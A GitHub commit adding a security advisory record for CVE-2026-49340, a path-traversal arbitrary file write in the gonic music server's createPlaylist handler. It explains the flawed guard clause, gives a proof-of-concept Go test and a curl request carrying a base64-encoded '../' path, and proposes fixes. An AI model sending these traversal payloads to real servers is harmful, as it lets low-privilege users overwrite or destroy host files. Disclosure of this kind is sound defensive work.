Skip to content

Commit 4825578

Browse files
1 parent 33a1914 commit 4825578

2 files changed

Lines changed: 151 additions & 0 deletions

File tree

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4gxv-p5g5-j7w7",
4+
"modified": "2026-06-26T23:21:42Z",
5+
"published": "2026-06-26T23:21:42Z",
6+
"aliases": [
7+
"CVE-2026-49340"
8+
],
9+
"summary": "gonic has arbitrary file write in createPlaylist: any authenticated user can write playlist M3U content to attacker-controlled path on the host",
10+
"details": "## Summary\n\nA logic error in `ServeCreateOrUpdatePlaylist` allows **any authenticated Subsonic user** (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with `0o777` permissions.\n\nThe bug is independent of the playlist ownership IDOR fixed in [`6dd71e6`](https://github.com/sentriz/gonic/commit/6dd71e6): it is an **unreachable guard clause** combined with **no path containment in `Store.Write`**.\n\n## Root cause — unreachable guard clause\n\n`server/ctrlsubsonic/handlers_playlist.go:74-90`:\n\n```go\nfunc (c *Controller) ServeCreateOrUpdatePlaylist(r *http.Request) *spec.Response {\n user := r.Context().Value(CtxUser).(*db.User)\n params := r.Context().Value(CtxParams).(params.Params)\n\n playlistID, _ := params.GetFirstID(\"id\", \"playlistId\")\n playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded\n\n var playlist playlistp.Playlist\n if playlistPath != \"\" {\n if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n // ^^^^^^^^^^^^^^^^^^^^^^^^^\n // this condition is UNREACHABLE\n playlist = *pl\n }\n }\n\n if playlist.UserID != 0 && playlist.UserID != user.ID {\n return spec.NewError(50, \"you aren't allowed update that user's playlist\")\n }\n ...\n```\n\n`playlist.Store.Read` (`playlist/playlist.go:88-144`) returns either `(*Playlist, nil)` on success or `(nil, err)` on any failure path. **There is no return path of `(non-nil, non-nil-err)`.**\n\nSo the inner branch `err != nil && pl != nil` is **always false**, the `playlist = *pl` assignment never executes, and `playlist` stays at its zero value with `UserID = 0`. The subsequent guard `playlist.UserID != 0 && playlist.UserID != user.ID` simplifies to `false && (anything)` and **always passes**, regardless of who owns the target path.\n\n## Root cause — no path containment in `Store.Write`\n\n`playlist/playlist.go:146-160`:\n\n```go\nfunc (s *Store) Write(relPath string, playlist *Playlist) error {\n defer lock(&s.mu)()\n if err := sanityCheck(s.basePath); err != nil {\n return err\n }\n absPath := filepath.Join(s.basePath, relPath)\n if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable!\n return fmt.Errorf(\"make m3u base dir: %w\", err)\n }\n file, err := os.OpenFile(absPath, os.O_RDWR|os.O_CREATE, 0o666) // create-or-open\n ...\n if err := file.Truncate(0); err != nil { // wipe existing\n ...\n }\n```\n\n`filepath.Join(\"/var/lib/gonic/playlists\", \"../../etc/cron.daily/anything\")` resolves to `/var/lib/gonic/etc/cron.daily/anything` — Go's `filepath.Join` does NOT prevent `..` traversal. Combined with the missing guard above, **any authenticated user** controls the destination path.\n\n## Live PoC — passing Go test\n\nDrop this into `server/ctrlsubsonic/handlers_playlist_write_traversal_test.go` and run `go test -run TestCreatePlaylistArbitraryWrite_RawPath ./server/ctrlsubsonic/ -v`:\n\n```go\npackage ctrlsubsonic\n\nimport (\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCreatePlaylistArbitraryWrite_RawPath(t *testing.T) {\n\tf := newFixture(t)\n\n\t// playlistStore.basePath = <tmp>/playlists/. A relPath of \"../injected.m3u\"\n\t// resolves under the parent <tmp> dir — escaping the playlists/ subtree.\n\ttraversalRel := filepath.Join(\"..\", \"injected.m3u\")\n\ttraversalID := playlistIDEncode(traversalRel).String()\n\n\t// f.alt is the NON-ADMIN user (ID=2).\n\tresp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{\n\t\t\"id\": {traversalID},\n\t\t\"name\": {\"injected-by-low-priv-user\"},\n\t})\n\tt.Logf(\"resp: %+v\", string(resp))\n\n\ttmpDir := filepath.Dir(f.contr.musicPaths[0].Path)\n\ttarget := filepath.Join(tmpDir, \"injected.m3u\")\n\tstat, err := os.Stat(target)\n\trequire.NoError(t, err, \"VULNERABLE if the file exists outside playlists/\")\n\trequire.False(t, stat.IsDir())\n\n\tcontents, err := os.ReadFile(target)\n\trequire.NoError(t, err)\n\tt.Logf(\"VULNERABLE — file written at %s\\n%s\", target, string(contents))\n}\n```\n\nTest output against current `master` HEAD `6dd71e6`:\n\n```\n=== RUN TestCreatePlaylistArbitraryWrite_RawPath\n resp: {\"subsonic-response\":{\"status\":\"ok\",\"version\":\"1.15.0\",\"type\":\"gonic\",\"openSubsonic\":true,\n \"playlist\":{\"id\":\"pl-Li4vaW5qZWN0ZWQubTN1\",\"name\":\"injected-by-low-priv-user\",...,\n \"owner\":\"alt\",\"songCount\":0,...}}}\n VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWrite_RawPath.../001/injected.m3u\n #GONIC-NAME:\"injected-by-low-priv-user\"\n #GONIC-COMMENT:\"\"\n #GONIC-IS-PUBLIC:\"false\"\n--- PASS: TestCreatePlaylistArbitraryWrite_RawPath (0.05s)\n```\n\nThe file was created at `<tmp>/injected.m3u` while the playlist store's basePath is `<tmp>/playlists/` — write succeeded outside the intended directory.\n\n## HTTP-level reproduction\n\n```bash\n# Target a writable path on the gonic host.\n# Encode \"../../../var/log/anything.log\" (note: gonic must be able to write there)\nRAW='../../../var/log/anything.log'\nID=\"pl-$(printf '%s' \"$RAW\" | base64 -w0 | tr '/+' '_-')\"\n\ncurl -s \"http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected\" \\\n | python3 -m json.tool\n# Response: {\"subsonic-response\":{\"status\":\"ok\",...}}\n# Side effect: file written at /var/log/anything.log with M3U structured content,\n# intermediate directories created with 0o777 permissions.\n```\n\n## Impact\n\n- **Integrity**: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (`#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC:` attributes, plus song paths), but the `name` value is attacker-controlled and structurally placed (no newline injection; `strconv.Quote` escapes specials).\n- **Availability**: Overwriting `gonic.db` (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable.\n- **Filesystem state**: `MkdirAll(dir, 0o777)` creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal.\n- **Trust boundary**: gonic explicitly supports a non-admin user role (`ServeCreateUser`, the `IsAdmin` flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set.\n- **Content control is structural** (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the `#GONIC-NAME:\"...\"` header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.\n\n## CVSS\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` = **8.1 High**\n\n## Suggested fix\n\nTwo changes, either of which mitigates this:\n\n**1. Fix the unreachable guard at `handlers_playlist.go:83`**:\n\n```go\n// Currently (BROKEN):\nif pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil {\n playlist = *pl\n}\n\n// Fixed:\nif pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil {\n playlist = *pl\n}\n```\n\nThis restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where `playlistPath` points to a non-existent file (the Read fails, `playlist` stays zero-valued, ownership check still bypassed). So the second fix is also needed.\n\n**2. Add path containment in `playlist/playlist.go::Store.Write`** (same helper proposed in the companion advisory):\n\n```go\nabsPath := filepath.Join(s.basePath, relPath)\nrel, err := filepath.Rel(s.basePath, absPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n return fmt.Errorf(\"path %q escapes playlist directory\", relPath)\n}\n```\n\nApply the same guard in `Read()` and `Delete()` to close related primitives. Consider tightening `MkdirAll` from `0o777` to `0o755`.\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "go.senan.xyz/gonic"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.21.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.20.1"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/sentriz/gonic/security/advisories/GHSA-4gxv-p5g5-j7w7"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49340"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/sentriz/gonic"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-22",
58+
"CWE-697",
59+
"CWE-732"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-06-26T23:21:42Z",
64+
"nvd_published_at": "2026-06-19T19:16:36Z"
65+
}
66+
}

0 commit comments

Comments
 (0)